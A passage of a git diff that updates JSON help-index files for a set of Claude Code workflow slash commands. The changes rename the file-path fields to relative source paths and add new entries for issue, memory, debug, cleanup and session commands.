+        "source": "../../../commands/workflow/test-cycle-execute.md"
       },
       {
         "name": "test-fix-gen",
@@ -400,7 +503,7 @@
         "subcategory": null,
         "usage_scenario": "testing",
         "difficulty": "Intermediate",
-        "file_path": "workflow/test-fix-gen.md"
+        "source": "../../../commands/workflow/test-fix-gen.md"
       },
       {
         "name": "test-gen",
@@ -411,7 +514,7 @@
         "subcategory": null,
         "usage_scenario": "testing",
         "difficulty": "Intermediate",
-        "file_path": "workflow/test-gen.md"
+        "source": "../../../commands/workflow/test-gen.md"
       }
     ],
     "brainstorm": [
@@ -424,7 +527,7 @@
         "subcategory": "brainstorm",
         "usage_scenario": "planning",
         "difficulty": "Intermediate",
-        "file_path": "workflow/brainstorm/api-designer.md"
+        "source": "../../../commands/workflow/brainstorm/api-designer.md"
       },
       {
         "name": "artifacts",
@@ -435,7 +538,7 @@
         "subcategory": "brainstorm",
         "usage_scenario": "general",
         "difficulty": "Intermediate",
-        "file_path": "workflow/brainstorm/artifacts.md"
+        "source": "../../../commands/workflow/brainstorm/artifacts.md"
       },
       {
         "name": "auto-parallel",
@@ -446,7 +549,7 @@
         "subcategory": "brainstorm",
         "usage_scenario": "general",
         "difficulty": "Advanced",
-        "file_path": "workflow/brainstorm/auto-parallel.md"
+        "source": "../../../commands/workflow/brainstorm/auto-parallel.md"
       },
       {
         "name": "data-architect",
@@ -457,7 +560,7 @@
         "subcategory": "brainstorm",
         "usage_scenario": "general",
         "difficulty": "Intermediate",
-        "file_path": "workflow/brainstorm/data-architect.md"
+        "source": "../../../commands/workflow/brainstorm/data-architect.md"
       },
       {
         "name": "product-manager",
@@ -468,7 +571,7 @@
         "subcategory": "brainstorm",
         "usage_scenario": "general",
         "difficulty": "Intermediate",
-        "file_path": "workflow/brainstorm/product-manager.md"
+        "source": "../../../commands/workflow/brainstorm/product-manager.md"
       },
       {
         "name": "product-owner",
@@ -479,7 +582,7 @@
         "subcategory": "brainstorm",
         "usage_scenario": "general",
         "difficulty": "Intermediate",
-        "file_path": "workflow/brainstorm/product-owner.md"
+        "source": "../../../commands/workflow/brainstorm/product-owner.md"
       },
       {
         "name": "scrum-master",
@@ -490,7 +593,7 @@
         "subcategory": "brainstorm",
         "usage_scenario": "general",
         "difficulty": "Intermediate",
-        "file_path": "workflow/brainstorm/scrum-master.md"
+        "source": "../../../commands/workflow/brainstorm/scrum-master.md"
       },
       {
         "name": "subject-matter-expert",
@@ -501,7 +604,7 @@
         "subcategory": "brainstorm",
         "usage_scenario": "general",
         "difficulty": "Intermediate",
-        "file_path": "workflow/brainstorm/subject-matter-expert.md"
+        "source": "../../../commands/workflow/brainstorm/subject-matter-expert.md"
       },
       {
         "name": "synthesis",
@@ -512,7 +615,7 @@
         "subcategory": "brainstorm",
         "usage_scenario": "general",
         "difficulty": "Advanced",
-        "file_path": "workflow/brainstorm/synthesis.md"
+        "source": "../../../commands/workflow/brainstorm/synthesis.md"
       },
       {
         "name": "system-architect",
@@ -523,7 +626,7 @@
         "subcategory": "brainstorm",
         "usage_scenario": "general",
         "difficulty": "Intermediate",
-        "file_path": "workflow/brainstorm/system-architect.md"
+        "source": "../../../commands/workflow/brainstorm/system-architect.md"
       },
       {
         "name": "ui-designer",
@@ -534,7 +637,7 @@
         "subcategory": "brainstorm",
         "usage_scenario": "planning",
         "difficulty": "Intermediate",
-        "file_path": "workflow/brainstorm/ui-designer.md"
+        "source": "../../../commands/workflow/brainstorm/ui-designer.md"
       },
       {
         "name": "ux-expert",
@@ -545,7 +648,7 @@
         "subcategory": "brainstorm",
         "usage_scenario": "general",
         "difficulty": "Intermediate",
-        "file_path": "workflow/brainstorm/ux-expert.md"
+        "source": "../../../commands/workflow/brainstorm/ux-expert.md"
       }
     ],
     "session": [
@@ -558,7 +661,7 @@
         "subcategory": "session",
         "usage_scenario": "session-management",
         "difficulty": "Intermediate",
-        "file_path": "workflow/session/complete.md"
+        "source": "../../../commands/workflow/session/complete.md"
       },
       {
         "name": "list",
@@ -569,7 +672,7 @@
         "subcategory": "session",
         "usage_scenario": "general",
         "difficulty": "Beginner",
-        "file_path": "workflow/session/list.md"
+        "source": "../../../commands/workflow/session/list.md"
       },
       {
         "name": "resume",
@@ -580,7 +683,18 @@
         "subcategory": "session",
         "usage_scenario": "session-management",
         "difficulty": "Intermediate",
-        "file_path": "workflow/session/resume.md"
+        "source": "../../../commands/workflow/session/resume.md"
+      },
+      {
+        "name": "solidify",
+        "command": "/workflow:session:solidify",
+        "description": "Crystallize session learnings and user-defined constraints into permanent project guidelines",
+        "arguments": "[--type <convention|constraint|learning>] [--category <category>] \\\"rule or insight\\",
+        "category": "workflow",
+        "subcategory": "session",
+        "usage_scenario": "general",
+        "difficulty": "Intermediate",
+        "source": "../../../commands/workflow/session/solidify.md"
       },
       {
         "name": "start",
@@ -591,7 +705,7 @@
         "subcategory": "session",
         "usage_scenario": "general",
         "difficulty": "Intermediate",
-        "file_path": "workflow/session/start.md"
+        "source": "../../../commands/workflow/session/start.md"
       }
     ],
     "tools": [
@@ -604,7 +718,7 @@
         "subcategory": "tools",
         "usage_scenario": "general",
         "difficulty": "Advanced",
-        "file_path": "workflow/tools/conflict-resolution.md"
+        "source": "../../../commands/workflow/tools/conflict-resolution.md"
       },
       {
         "name": "gather",
@@ -615,7 +729,7 @@
         "subcategory": "tools",
         "usage_scenario": "general",
         "difficulty": "Intermediate",
-        "file_path": "workflow/tools/context-gather.md"
+        "source": "../../../commands/workflow/tools/context-gather.md"
       },
       {
         "name": "task-generate-agent",
@@ -626,7 +740,7 @@
         "subcategory": "tools",
         "usage_scenario": "implementation",
         "difficulty": "Advanced",
-        "file_path": "workflow/tools/task-generate-agent.md"
+        "source": "../../../commands/workflow/tools/task-generate-agent.md"
       },
       {
         "name": "task-generate-tdd",
@@ -637,7 +751,7 @@
         "subcategory": "tools",
         "usage_scenario": "implementation",
         "difficulty": "Advanced",
-        "file_path": "workflow/tools/task-generate-tdd.md"
+        "source": "../../../commands/workflow/tools/task-generate-tdd.md"
       },
       {
         "name": "tdd-coverage-analysis",
@@ -648,7 +762,7 @@
         "subcategory": "tools",
         "usage_scenario": "testing",
         "difficulty": "Advanced",
-        "file_path": "workflow/tools/tdd-coverage-analysis.md"
+        "source": "../../../commands/workflow/tools/tdd-coverage-analysis.md"
       },
       {
         "name": "test-concept-enhanced",
@@ -659,7 +773,7 @@
         "subcategory": "tools",
         "usage_scenario": "testing",
         "difficulty": "Intermediate",
-        "file_path": "workflow/tools/test-concept-enhanced.md"
+        "source": "../../../commands/workflow/tools/test-concept-enhanced.md"
       },
       {
         "name": "test-context-gather",
@@ -670,7 +784,7 @@
         "subcategory": "tools",
         "usage_scenario": "testing",
         "difficulty": "Intermediate",
-        "file_path": "workflow/tools/test-context-gather.md"
+        "source": "../../../commands/workflow/tools/test-context-gather.md"
       },
       {
         "name": "test-task-generate",
@@ -681,7 +795,7 @@
         "subcategory": "tools",
         "usage_scenario": "implementation",
         "difficulty": "Intermediate",
-        "file_path": "workflow/tools/test-task-generate.md"
+        "source": "../../../commands/workflow/tools/test-task-generate.md"
       }
     ],
     "ui-design": [
@@ -694,7 +808,7 @@
         "subcategory": "ui-design",
         "usage_scenario": "general",
         "difficulty": "Intermediate",
-        "file_path": "workflow/ui-design/animation-extract.md"
+        "source": "../../../commands/workflow/ui-design/animation-extract.md"
       },
       {
         "name": "workflow:ui-design:codify-style",
@@ -705,7 +819,7 @@
         "subcategory": "ui-design",
         "usage_scenario": "planning",
         "difficulty": "Intermediate",
-        "file_path": "workflow/ui-design/codify-style.md"
+        "source": "../../../commands/workflow/ui-design/codify-style.md"
       },
       {
         "name": "design-sync",
@@ -716,7 +830,7 @@
         "subcategory": "ui-design",
         "usage_scenario": "planning",
         "difficulty": "Intermediate",
-        "file_path": "workflow/ui-design/design-sync.md"
+        "source": "../../../commands/workflow/ui-design/design-sync.md"
       },
       {
         "name": "explore-auto",
@@ -727,7 +841,7 @@
         "subcategory": "ui-design",
         "usage_scenario": "general",
         "difficulty": "Intermediate",
-        "file_path": "workflow/ui-design/explore-auto.md"
+        "source": "../../../commands/workflow/ui-design/explore-auto.md"
       },
       {
         "name": "generate",
@@ -738,7 +852,7 @@
         "subcategory": "ui-design",
         "usage_scenario": "implementation",
         "difficulty": "Intermediate",
-        "file_path": "workflow/ui-design/generate.md"
+        "source": "../../../commands/workflow/ui-design/generate.md"
       },
       {
         "name": "imitate-auto",
@@ -749,7 +863,7 @@
         "subcategory": "ui-design",
         "usage_scenario": "general",
         "difficulty": "Intermediate",
-        "file_path": "workflow/ui-design/imitate-auto.md"
+        "source": "../../../commands/workflow/ui-design/imitate-auto.md"
       },
       {
         "name": "workflow:ui-design:import-from-code",
@@ -760,7 +874,7 @@
         "subcategory": "ui-design",
         "usage_scenario": "planning",
         "difficulty": "Intermediate",
-        "file_path": "workflow/ui-design/import-from-code.md"
+        "source": "../../../commands/workflow/ui-design/import-from-code.md"
       },
       {
         "name": "layout-extract",
@@ -771,7 +885,7 @@
         "subcategory": "ui-design",
         "usage_scenario": "general",
         "difficulty": "Intermediate",
-        "file_path": "workflow/ui-design/layout-extract.md"
+        "source": "../../../commands/workflow/ui-design/layout-extract.md"
       },
       {
         "name": "workflow:ui-design:reference-page-generator",
@@ -782,7 +896,7 @@
         "subcategory": "ui-design",
         "usage_scenario": "planning",
         "difficulty": "Intermediate",
-        "file_path": "workflow/ui-design/reference-page-generator.md"
+        "source": "../../../commands/workflow/ui-design/reference-page-generator.md"
       },
       {
         "name": "style-extract",
@@ -793,7 +907,7 @@
         "subcategory": "ui-design",
         "usage_scenario": "general",
         "difficulty": "Intermediate",
-        "file_path": "workflow/ui-design/style-extract.md"
+        "source": "../../../commands/workflow/ui-design/style-extract.md"
       }
     ]
   }

.claude/skills/ccw-help/index/by-use-case.json

@@ -9,7 +9,7 @@
       "subcategory": null,
       "usage_scenario": "general",
       "difficulty": "Intermediate",
-      "file_path": "cli/cli-init.md"
+      "source": "../../../commands/cli/cli-init.md"
     },
     {
       "name": "enhance-prompt",
@@ -20,7 +20,51 @@
       "subcategory": null,
       "usage_scenario": "general",
       "difficulty": "Intermediate",
-      "file_path": "enhance-prompt.md"
+      "source": "../../../commands/enhance-prompt.md"
+    },
+    {
+      "name": "issue:discover",
+      "command": "/issue:discover",
+      "description": "Discover potential issues from multiple perspectives (bug, UX, test, quality, security, performance, maintainability, best-practices) using CLI explore. Supports Exa external research for security and best-practices perspectives.",
+      "arguments": "<path-pattern> [--perspectives=bug,ux,...] [--external]",
+      "category": "issue",
+      "subcategory": null,
+      "usage_scenario": "general",
+      "difficulty": "Intermediate",
+      "source": "../../../commands/issue/discover.md"
+    },
+    {
+      "name": "new",
+      "command": "/issue:new",
+      "description": "Create structured issue from GitHub URL or text description",
+      "arguments": "<github-url | text-description> [--priority 1-5]",
+      "category": "issue",
+      "subcategory": null,
+      "usage_scenario": "general",
+      "difficulty": "Intermediate",
+      "source": "../../../commands/issue/new.md"
+    },
+    {
+      "name": "queue",
+      "command": "/issue:queue",
+      "description": "Form execution queue from bound solutions using issue-queue-agent (solution-level)",
+      "arguments": "[--rebuild] [--issue <id>]",
+      "category": "issue",
+      "subcategory": null,
+      "usage_scenario": "general",
+      "difficulty": "Intermediate",
+      "source": "../../../commands/issue/queue.md"
+    },
+    {
+      "name": "compact",
+      "command": "/memory:compact",
+      "description": "Compact current session memory into structured text for session recovery, extracting objective/plan/files/decisions/constraints/state, and save via MCP core_memory tool",
+      "arguments": "[optional: session description]",
+      "category": "memory",
+      "subcategory": null,
+      "usage_scenario": "general",
+      "difficulty": "Intermediate",
+      "source": "../../../commands/memory/compact.md"
     },
     {
       "name": "load",
@@ -31,18 +75,18 @@
       "subcategory": null,
       "usage_scenario": "general",
       "difficulty": "Intermediate",
-      "file_path": "memory/load.md"
+      "source": "../../../commands/memory/load.md"
     },
     {
-      "name": "tech-research",
-      "command": "/memory:tech-research",
+      "name": "tech-research-rules",
+      "command": "/memory:tech-research-rules",
       "description": "3-phase orchestrator: extract tech stack → Exa research → generate path-conditional rules (auto-loaded by Claude Code)",
       "arguments": "[session-id | tech-stack-name] [--regenerate] [--tool <gemini|qwen>]",
       "category": "memory",
       "subcategory": null,
       "usage_scenario": "general",
       "difficulty": "Intermediate",
-      "file_path": "memory/tech-research.md"
+      "source": "../../../commands/memory/tech-research-rules.md"
     },
     {
       "name": "update-full",
@@ -53,7 +97,7 @@
       "subcategory": null,
       "usage_scenario": "general",
       "difficulty": "Intermediate",
-      "file_path": "memory/update-full.md"
+      "source": "../../../commands/memory/update-full.md"
     },
     {
       "name": "update-related",
@@ -64,7 +108,7 @@
       "subcategory": null,
       "usage_scenario": "general",
       "difficulty": "Intermediate",
-      "file_path": "memory/update-related.md"
+      "source": "../../../commands/memory/update-related.md"
     },
     {
       "name": "version",
@@ -75,7 +119,7 @@
       "subcategory": null,
       "usage_scenario": "general",
       "difficulty": "Beginner",
-      "file_path": "version.md"
+      "source": "../../../commands/version.md"
     },
     {
       "name": "artifacts",
@@ -86,7 +130,7 @@
       "subcategory": "brainstorm",
       "usage_scenario": "general",
       "difficulty": "Intermediate",
-      "file_path": "workflow/brainstorm/artifacts.md"
+      "source": "../../../commands/workflow/brainstorm/artifacts.md"
     },
     {
       "name": "auto-parallel",
@@ -97,7 +141,7 @@
       "subcategory": "brainstorm",
       "usage_scenario": "general",
       "difficulty": "Advanced",
-      "file_path": "workflow/brainstorm/auto-parallel.md"
+      "source": "../../../commands/workflow/brainstorm/auto-parallel.md"
     },
     {
       "name": "data-architect",
@@ -108,7 +152,7 @@
       "subcategory": "brainstorm",
       "usage_scenario": "general",
       "difficulty": "Intermediate",
-      "file_path": "workflow/brainstorm/data-architect.md"
+      "source": "../../../commands/workflow/brainstorm/data-architect.md"
     },
     {
       "name": "product-manager",
@@ -119,7 +163,7 @@
       "subcategory": "brainstorm",
       "usage_scenario": "general",
       "difficulty": "Intermediate",
-      "file_path": "workflow/brainstorm/product-manager.md"
+      "source": "../../../commands/workflow/brainstorm/product-manager.md"
     },
     {
       "name": "product-owner",
@@ -130,7 +174,7 @@
       "subcategory": "brainstorm",
       "usage_scenario": "general",
       "difficulty": "Intermediate",
-      "file_path": "workflow/brainstorm/product-owner.md"
+      "source": "../../../commands/workflow/brainstorm/product-owner.md"
     },
     {
       "name": "scrum-master",
@@ -141,7 +185,7 @@
       "subcategory": "brainstorm",
       "usage_scenario": "general",
       "difficulty": "Intermediate",
-      "file_path": "workflow/brainstorm/scrum-master.md"
+      "source": "../../../commands/workflow/brainstorm/scrum-master.md"
     },
     {
       "name": "subject-matter-expert",
@@ -152,7 +196,7 @@
       "subcategory": "brainstorm",
       "usage_scenario": "general",
       "difficulty": "Intermediate",
-      "file_path": "workflow/brainstorm/subject-matter-expert.md"
+      "source": "../../../commands/workflow/brainstorm/subject-matter-expert.md"
     },
     {
       "name": "synthesis",
@@ -163,7 +207,7 @@
       "subcategory": "brainstorm",
       "usage_scenario": "general",
       "difficulty": "Advanced",
-      "file_path": "workflow/brainstorm/synthesis.md"
+      "source": "../../../commands/workflow/brainstorm/synthesis.md"
     },
     {
       "name": "system-architect",
@@ -174,7 +218,7 @@
       "subcategory": "brainstorm",
       "usage_scenario": "general",
       "difficulty": "Intermediate",
-      "file_path": "workflow/brainstorm/system-architect.md"
+      "source": "../../../commands/workflow/brainstorm/system-architect.md"
     },
     {
       "name": "ux-expert",
@@ -185,7 +229,29 @@
       "subcategory": "brainstorm",
       "usage_scenario": "general",
       "difficulty": "Intermediate",
-      "file_path": "workflow/brainstorm/ux-expert.md"
+      "source": "../../../commands/workflow/brainstorm/ux-expert.md"
+    },
+    {
+      "name": "clean",
+      "command": "/workflow:clean",
+      "description": "Intelligent code cleanup with mainline detection, stale artifact discovery, and safe execution",
+      "arguments": "[--dry-run] [\\\"focus area\\\"]",
+      "category": "workflow",
+      "subcategory": null,
+      "usage_scenario": "general",
+      "difficulty": "Intermediate",
+      "source": "../../../commands/workflow/clean.md"
+    },
+    {
+      "name": "debug",
+      "command": "/workflow:debug",
+      "description": "Interactive hypothesis-driven debugging with NDJSON logging, iterative until resolved",
+      "arguments": "\\\"bug description or error message\\",
+      "category": "workflow",
+      "subcategory": null,
+      "usage_scenario": "general",
+      "difficulty": "Intermediate",
+      "source": "../../../commands/workflow/debug.md"
     },
     {
       "name": "init",
@@ -196,7 +262,7 @@
       "subcategory": null,
       "usage_scenario": "general",
       "difficulty": "Intermediate",
-      "file_path": "workflow/init.md"
+      "source": "../../../commands/workflow/init.md"
     },
     {
       "name": "lite-fix",
@@ -207,7 +273,7 @@
       "subcategory": null,
       "usage_scenario": "general",
       "difficulty": "Intermediate",
-      "file_path": "workflow/lite-fix.md"
+      "source": "../../../commands/workflow/lite-fix.md"
     },
     {
       "name": "list",
@@ -218,7 +284,18 @@
       "subcategory": "session",
       "usage_scenario": "general",
       "difficulty": "Beginner",
-      "file_path": "workflow/session/list.md"
+      "source": "../../../commands/workflow/session/list.md"
+    },
+    {
+      "name": "solidify",
+      "command": "/workflow:session:solidify",
+      "description": "Crystallize session learnings and user-defined constraints into permanent project guidelines",
+      "arguments": "[--type <convention|constraint|learning>] [--category <category>] \\\"rule or insight\\",
+      "category": "workflow",
+      "subcategory": "session",
+      "usage_scenario": "general",
+      "difficulty": "Intermediate",
+      "source": "../../../commands/workflow/session/solidify.md"
     },
     {
       "name": "start",
@@ -229,7 +306,7 @@
       "subcategory": "session",
       "usage_scenario": "general",
       "difficulty": "Intermediate",
-      "file_path": "workflow/session/start.md"
+      "source": "../../../commands/workflow/session/start.md"
     },
     {
       "name": "conflict-resolution",
@@ -240,7 +317,7 @@
       "subcategory": "tools",
       "usage_scenario": "general",
       "difficulty": "Advanced",
-      "file_path": "workflow/tools/conflict-resolution.md"
+      "source": "../../../commands/workflow/tools/conflict-resolution.md"
     },
     {
       "name": "gather",
@@ -251,7 +328,7 @@
       "subcategory": "tools",
       "usage_scenario": "general",
       "difficulty": "Intermediate",
-      "file_path": "workflow/tools/context-gather.md"
+      "source": "../../../commands/workflow/tools/context-gather.md"
     },
     {
       "name": "animation-extract",
@@ -262,7 +339,7 @@
       "subcategory": "ui-design",
       "usage_scenario": "general",
       "difficulty": "Intermediate",
-      "file_path": "workflow/ui-design/animation-extract.md"
+      "source": "../../../commands/workflow/ui-design/animation-extract.md"
     },
     {
       "name": "explore-auto",
@@ -273,7 +350,7 @@
       "subcategory": "ui-design",
       "usage_scenario": "general",
       "difficulty": "Intermediate",
-      "file_path": "workflow/ui-design/explore-auto.md"
+      "source": "../../../commands/workflow/ui-design/explore-auto.md"
     },
     {
       "name": "imitate-auto",
@@ -284,7 +361,7 @@
       "subcategory": "ui-design",
       "usage_scenario": "general",
       "difficulty": "Intermediate",
-      "file_path": "workflow/ui-design/imitate-auto.md"
+      "source": "../../../commands/workflow/ui-design/imitate-auto.md"
     },
     {
       "name": "layout-extract",
@@ -295,7 +372,7 @@
       "subcategory": "ui-design",
       "usage_scenario": "general",
       "difficulty": "Intermediate",
-      "file_path": "workflow/ui-design/layout-extract.md"
+      "source": "../../../commands/workflow/ui-design/layout-extract.md"
     },
     {
       "name": "style-extract",
@@ -306,7 +383,275 @@
       "subcategory": "ui-design",
       "usage_scenario": "general",
       "difficulty": "Intermediate",
-      "file_path": "workflow/ui-design/style-extract.md"
+      "source": "../../../commands/workflow/ui-design/style-extract.md"
+    }
+  ],
+  "implementation": [
+    {
+      "name": "execute",
+      "command": "/issue:execute",
+      "description": "Execute queue with codex using DAG-based parallel orchestration (solution-level)",
+      "arguments": "[--worktree] [--queue <queue-id>]",
+      "category": "issue",
+      "subcategory": null,
+      "usage_scenario": "implementation",
+      "difficulty": "Intermediate",
+      "source": "../../../commands/issue/execute.md"
+    },
+    {
+      "name": "create",
+      "command": "/task:create",
+      "description": "Generate task JSON from natural language description with automatic file pattern detection, scope inference, and dependency analysis",
+      "arguments": "\\\"task title\\",
+      "category": "task",
+      "subcategory": null,
+      "usage_scenario": "implementation",
+      "difficulty": "Intermediate",
+      "source": "../../../commands/task/create.md"
+    },
+    {
+      "name": "execute",
+      "command": "/task:execute",
+      "description": "Execute task JSON using appropriate agent (@doc-generator/@implementation-agent/@test-agent) with pre-analysis context loading and status tracking",
+      "arguments": "task-id",
+      "category": "task",
+      "subcategory": null,
+      "usage_scenario": "implementation",
+      "difficulty": "Intermediate",
+      "source": "../../../commands/task/execute.md"
+    },
+    {
+      "name": "execute",
+      "command": "/workflow:execute",
+      "description": "Coordinate agent execution for workflow tasks with automatic session discovery, parallel task processing, and status tracking",
+      "arguments": "[--resume-session=\\\"session-id\\\"]",
+      "category": "workflow",
+      "subcategory": null,
+      "usage_scenario": "implementation",
+      "difficulty": "Intermediate",
+      "source": "../../../commands/workflow/execute.md"
+    },
+    {
+      "name": "lite-execute",
+      "command": "/workflow:lite-execute",
+      "description": "Execute tasks based on in-memory plan, prompt description, or file content",
+      "arguments": "[--in-memory] [\\\"task description\\\"|file-path]",
+      "category": "workflow",
+      "subcategory": null,
+      "usage_scenario": "implementation",
+      "difficulty": "Intermediate",
+      "source": "../../../commands/workflow/lite-execute.md"
+    },
+    {
+      "name": "test-cycle-execute",
+      "command": "/workflow:test-cycle-execute",
+      "description": "Execute test-fix workflow with dynamic task generation and iterative fix cycles until test pass rate >= 95% or max iterations reached. Uses @cli-planning-agent for failure analysis and task generation.",
+      "arguments": "[--resume-session=\\\"session-id\\\"] [--max-iterations=N]",
+      "category": "workflow",
+      "subcategory": null,
+      "usage_scenario": "implementation",
+      "difficulty": "Intermediate",
+      "source": "../../../commands/workflow/test-cycle-execute.md"
+    },
+    {
+      "name": "task-generate-agent",
+      "command": "/workflow:tools:task-generate-agent",
+      "description": "Generate implementation plan documents (IMPL_PLAN.md, task JSONs, TODO_LIST.md) using action-planning-agent - produces planning artifacts, does NOT execute code implementation",
+      "arguments": "--session WFS-session-id",
+      "category": "workflow",
+      "subcategory": "tools",
+      "usage_scenario": "implementation",
+      "difficulty": "Advanced",
+      "source": "../../../commands/workflow/tools/task-generate-agent.md"
+    },
+    {
+      "name": "task-generate-tdd",
+      "command": "/workflow:tools:task-generate-tdd",
+      "description": "Autonomous TDD task generation using action-planning-agent with Red-Green-Refactor cycles, test-first structure, and cycle validation",
+      "arguments": "--session WFS-session-id",
+      "category": "workflow",
+      "subcategory": "tools",
+      "usage_scenario": "implementation",
+      "difficulty": "Advanced",
+      "source": "../../../commands/workflow/tools/task-generate-tdd.md"
+    },
+    {
+      "name": "test-task-generate",
+      "command": "/workflow:tools:test-task-generate",
+      "description": "Generate test planning documents (IMPL_PLAN.md, test task JSONs, TODO_LIST.md) using action-planning-agent - produces test planning artifacts, does NOT execute tests",
+      "arguments": "--session WFS-test-session-id",
+      "category": "workflow",
+      "subcategory": "tools",
+      "usage_scenario": "implementation",
+      "difficulty": "Intermediate",
+      "source": "../../../commands/workflow/tools/test-task-generate.md"
+    },
+    {
+      "name": "generate",
+      "command": "/workflow:ui-design:generate",
+      "description": "Assemble UI prototypes by combining layout templates with design tokens (default animation support), pure assembler without new content generation",
+      "arguments": "[--design-id <id>] [--session <id>]",
+      "category": "workflow",
+      "subcategory": "ui-design",
+      "usage_scenario": "implementation",
+      "difficulty": "Intermediate",
+      "source": "../../../commands/workflow/ui-design/generate.md"
+    }
+  ],
+  "planning": [
+    {
+      "name": "plan",
+      "command": "/issue:plan",
+      "description": "Batch plan issue resolution using issue-plan-agent (explore + plan closed-loop)",
+      "arguments": "--all-pending <issue-id>[,<issue-id>,...] [--batch-size 3] ",
+      "category": "issue",
+      "subcategory": null,
+      "usage_scenario": "planning",
+      "difficulty": "Intermediate",
+      "source": "../../../commands/issue/plan.md"
+    },
+    {
+      "name": "breakdown",
+      "command": "/task:breakdown",
+      "description": "Decompose complex task into subtasks with dependency mapping, creates child task JSONs with parent references and execution order",
+      "arguments": "task-id",
+      "category": "task",
+      "subcategory": null,
+      "usage_scenario": "planning",
+      "difficulty": "Intermediate",
+      "source": "../../../commands/task/breakdown.md"
+    },
+    {
+      "name": "replan",
+      "command": "/task:replan",
+      "description": "Update task JSON with new requirements or batch-update multiple tasks from verification report, tracks changes in task-changes.json",
+      "arguments": "task-id [\\\"text\\\"|file.md] | --batch [verification-report.md]",
+      "category": "task",
+      "subcategory": null,
+      "usage_scenario": "planning",
+      "difficulty": "Intermediate",
+      "source": "../../../commands/task/replan.md"
+    },
+    {
+      "name": "action-plan-verify",
+      "command": "/workflow:action-plan-verify",
+      "description": "Perform non-destructive cross-artifact consistency analysis between IMPL_PLAN.md and task JSONs with quality gate validation",
+      "arguments": "[optional: --session session-id]",
+      "category": "workflow",
+      "subcategory": null,
+      "usage_scenario": "planning",
+      "difficulty": "Intermediate",
+      "source": "../../../commands/workflow/action-plan-verify.md"
+    },
+    {
+      "name": "api-designer",
+      "command": "/workflow:brainstorm:api-designer",
+      "description": "Generate or update api-designer/analysis.md addressing guidance-specification discussion points for API design perspective",
+      "arguments": "optional topic - uses existing framework if available",
+      "category": "workflow",
+      "subcategory": "brainstorm",
+      "usage_scenario": "planning",
+      "difficulty": "Intermediate",
+      "source": "../../../commands/workflow/brainstorm/api-designer.md"
+    },
+    {
+      "name": "ui-designer",
+      "command": "/workflow:brainstorm:ui-designer",
+      "description": "Generate or update ui-designer/analysis.md addressing guidance-specification discussion points for UI design perspective",
+      "arguments": "optional topic - uses existing framework if available",
+      "category": "workflow",
+      "subcategory": "brainstorm",
+      "usage_scenario": "planning",
+      "difficulty": "Intermediate",
+      "source": "../../../commands/workflow/brainstorm/ui-designer.md"
+    },
+    {
+      "name": "lite-plan",
+      "command": "/workflow:lite-plan",
+      "description": "Lightweight interactive planning workflow with in-memory planning, code exploration, and execution dispatch to lite-execute after user confirmation",
+      "arguments": "[-e|--explore] \\\"task description\\\"|file.md",
+      "category": "workflow",
+      "subcategory": null,
+      "usage_scenario": "planning",
+      "difficulty": "Intermediate",
+      "source": "../../../commands/workflow/lite-plan.md"
+    },
+    {
+      "name": "plan",
+      "command": "/workflow:plan",
+      "description": "5-phase planning workflow with action-planning-agent task generation, outputs IMPL_PLAN.md and task JSONs",
+      "arguments": "\\\"text description\\\"|file.md",
+      "category": "workflow",
+      "subcategory": null,
+      "usage_scenario": "planning",
+      "difficulty": "Intermediate",
+      "source": "../../../commands/workflow/plan.md"
+    },
+    {
+      "name": "replan",
+      "command": "/workflow:replan",
+      "description": "Interactive workflow replanning with session-level artifact updates and boundary clarification through guided questioning",
+      "arguments": "[--session session-id] [task-id] \\\"requirements\\\"|file.md [--interactive]",
+      "category": "workflow",
+      "subcategory": null,
+      "usage_scenario": "planning",
+      "difficulty": "Intermediate",
+      "source": "../../../commands/workflow/replan.md"
+    },
+    {
+      "name": "tdd-plan",
+      "command": "/workflow:tdd-plan",
+      "description": "TDD workflow planning with Red-Green-Refactor task chain generation, test-first development structure, and cycle tracking",
+      "arguments": "\\\"feature description\\\"|file.md",
+      "category": "workflow",
+      "subcategory": null,
+      "usage_scenario": "planning",
+      "difficulty": "Advanced",
+      "source": "../../../commands/workflow/tdd-plan.md"
+    },
+    {
+      "name": "workflow:ui-design:codify-style",
+      "command": "/workflow:ui-design:codify-style",
+      "description": "Orchestrator to extract styles from code and generate shareable reference package with preview (automatic file discovery)",
+      "arguments": "<path> [--package-name <name>] [--output-dir <path>] [--overwrite]",
+      "category": "workflow",
+      "subcategory": "ui-design",
+      "usage_scenario": "planning",
+      "difficulty": "Intermediate",
+      "source": "../../../commands/workflow/ui-design/codify-style.md"
+    },
+    {
+      "name": "design-sync",
+      "command": "/workflow:ui-design:design-sync",
+      "description": "Synchronize finalized design system references to brainstorming artifacts, preparing them for /workflow:plan consumption",
+      "arguments": "--session <session_id> [--selected-prototypes \"<list>\"]",
+      "category": "workflow",
+      "subcategory": "ui-design",
+      "usage_scenario": "planning",
+      "difficulty": "Intermediate",
+      "source": "../../../commands/workflow/ui-design/design-sync.md"
+    },
+    {
+      "name": "workflow:ui-design:import-from-code",
+      "command": "/workflow:ui-design:import-from-code",
+      "description": "Import design system from code files (CSS/JS/HTML/SCSS) with automatic file discovery and parallel agent analysis",
+      "arguments": "[--design-id <id>] [--session <id>] [--source <path>]",
+      "category": "workflow",
+      "subcategory": "ui-design",
+      "usage_scenario": "planning",
+      "difficulty": "Intermediate",
+      "source": "../../../commands/workflow/ui-design/import-from-code.md"
+    },
+    {
+      "name": "workflow:ui-design:reference-page-generator",
+      "command": "/workflow:ui-design:reference-page-generator",
+      "description": "Generate multi-component reference pages and documentation from design run extraction",
+      "arguments": "[--design-run <path>] [--package-name <name>] [--output-dir <path>]",
+      "category": "workflow",
+      "subcategory": "ui-design",
+      "usage_scenario": "planning",
+      "difficulty": "Intermediate",
+      "source": "../../../commands/workflow/ui-design/reference-page-generator.md"
     }
   ],
   "documentation": [
@@ -319,7 +664,7 @@
       "subcategory": null,
       "usage_scenario": "documentation",
       "difficulty": "Intermediate",
-      "file_path": "memory/code-map-memory.md"
+      "source": "../../../commands/memory/code-map-memory.md"
     },
     {
       "name": "docs-full-cli",
@@ -330,7 +675,7 @@
       "subcategory": null,
       "usage_scenario": "documentation",
       "difficulty": "Intermediate",
-      "file_path": "memory/docs-full-cli.md"
+      "source": "../../../commands/memory/docs-full-cli.md"
     },
     {
       "name": "docs-related-cli",
@@ -341,7 +686,7 @@
       "subcategory": null,
       "usage_scenario": "documentation",
       "difficulty": "Intermediate",
-      "file_path": "memory/docs-related-cli.md"
+      "source": "../../../commands/memory/docs-related-cli.md"
     },
     {
       "name": "docs",
@@ -352,7 +697,7 @@
       "subcategory": null,
       "usage_scenario": "documentation",
       "difficulty": "Intermediate",
-      "file_path": "memory/docs.md"
